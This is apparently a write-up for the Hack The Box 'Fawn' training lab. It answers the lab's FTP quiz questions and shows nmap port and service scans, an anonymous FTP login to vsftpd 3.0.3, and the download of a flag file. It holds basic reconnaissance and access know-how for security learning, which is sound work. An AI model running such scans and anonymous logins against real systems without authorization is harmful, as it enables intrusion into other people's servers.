🏠 Home

HTB - Fawn

very-easylinux

What does the 3-letter acronym FTP stand for?

File Transfer Protocol

Which port does the FTP service listen on usually?

21

FTP sends data in the clear, without any encryption. What acronym is used for a later protocol designed to provide similar functionality to FTP but securely, as an extension of the SSH protocol?

SFTP

What is the command we can use to send an ICMP echo request to test our connection to the target?

ping

From your scans, what version is FTP running on the target?

vsftpd 3.0.3

┌──(kali㉿kali)-[~/Desktop]
└─$ nmap 10.129.1.47 -Pn -n --open --min-rate 3000 -p- 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-06 18:58 UTC
Nmap scan report for 10.129.1.47
Host is up (0.046s latency).
Not shown: 61808 closed tcp ports (reset), 3726 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
21/tcp open  ftp

Nmap done: 1 IP address (1 host up) scanned in 19.05 seconds

┌──(kali㉿kali)-[~/Desktop]
└─$ nmap 10.129.1.47 -sC -sV -p 21                    
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-06 18:59 UTC
Nmap scan report for 10.129.1.47
Host is up (0.045s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.63
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0              32 Jun 04  2021 flag.txt
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds

From your scans, what OS type is running on the target?

Unix

What is the command we need to run in order to display the 'ftp' client help menu?

ftp -?

┌──(kali㉿kali)-[~/Desktop]
└─$ ftp -?
usage: ftp [-46AadefginpRtVv] [-N NETRC] [-o OUTPUT] [-P PORT] [-q QUITTIME]
           [-r RETRY] [-s SRCADDR] [-T DIR,MAX[,INC]] [-x XFERSIZE]
           [[USER@]HOST [PORT]]
           [[USER@]HOST:[PATH][/]]
           [file:///PATH]
           [ftp://[USER[:PASSWORD]@]HOST[:PORT]/PATH[/][;type=TYPE]]
           [http://[USER[:PASSWORD]@]HOST[:PORT]/PATH]
           [https://[USER[:PASSWORD]@]HOST[:PORT]/PATH]
           ...
       ftp -u URL FILE ...
       ftp -?
  -4            Only use IPv4 addresses
  -6            Only use IPv6 addresses
  -A            Force active mode
  -a            Use anonymous login
  -d            Enable debugging
  -e            Disable command-line editing
  -f            Force cache reload for FTP or HTTP proxy transfers
  -g            Disable file name globbing
  -i            Disable interactive prompt during multiple file transfers
  -N NETRC      Use NETRC instead of ~/.netrc
  -n            Disable auto-login
  -o OUTPUT     Save auto-fetched files to OUTPUT
  -P PORT       Use port PORT
  -p            Force passive mode
  -q QUITTIME   Quit if connection stalls for QUITTIME seconds
  -R            Restart non-proxy auto-fetch
  -r RETRY      Retry failed connection attempts after RETRY seconds
  -s SRCADDR    Use source address SRCADDR
  -t            Enable packet tracing
  -T DIR,MAX[,INC]
                Set maximum transfer rate for direction DIR to MAX bytes/s,
                with optional increment INC bytes/s
  -u URL        URL to upload file arguments to
  -V            Disable verbose and progress
  -v            Enable verbose and progress
  -x XFERSIZE   Set socket send and receive size to XFERSIZE
  -?            Display this help and exit

What is the username that is used over FTP when you want to log in without having an account?

anonymous

What is the response code we get for the FTP message 'Login successful'?

230

┌──(kali㉿kali)-[~/Desktop]
└─$ ftp $IP
Connected to 10.129.1.47.
220 (vsFTPd 3.0.3)
Name (10.129.1.47:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

There are a couple of commands we can use to list the files and directories available on the FTP server. One is dir. What is the other that is a common way to list files on a Linux system?

ls

ftp> ls
229 Entering Extended Passive Mode (|||44128|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0              32 Jun 04  2021 flag.txt
226 Directory send OK.

What is the command used to download the file we found of the FTP server?

get

ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||57017|)
150 Opening BINARY mode data connection for flag.txt (32 bytes).
100% |*********************************************************************************************|    32       15.43 KiB/s    00:00 ETA
226 Transfer complete.
32 bytes received in 00:00 (0.67 KiB/s)

Submit root flag

┌──(kali㉿kali)-[~/Desktop]
└─$ cat flag.txt
035d...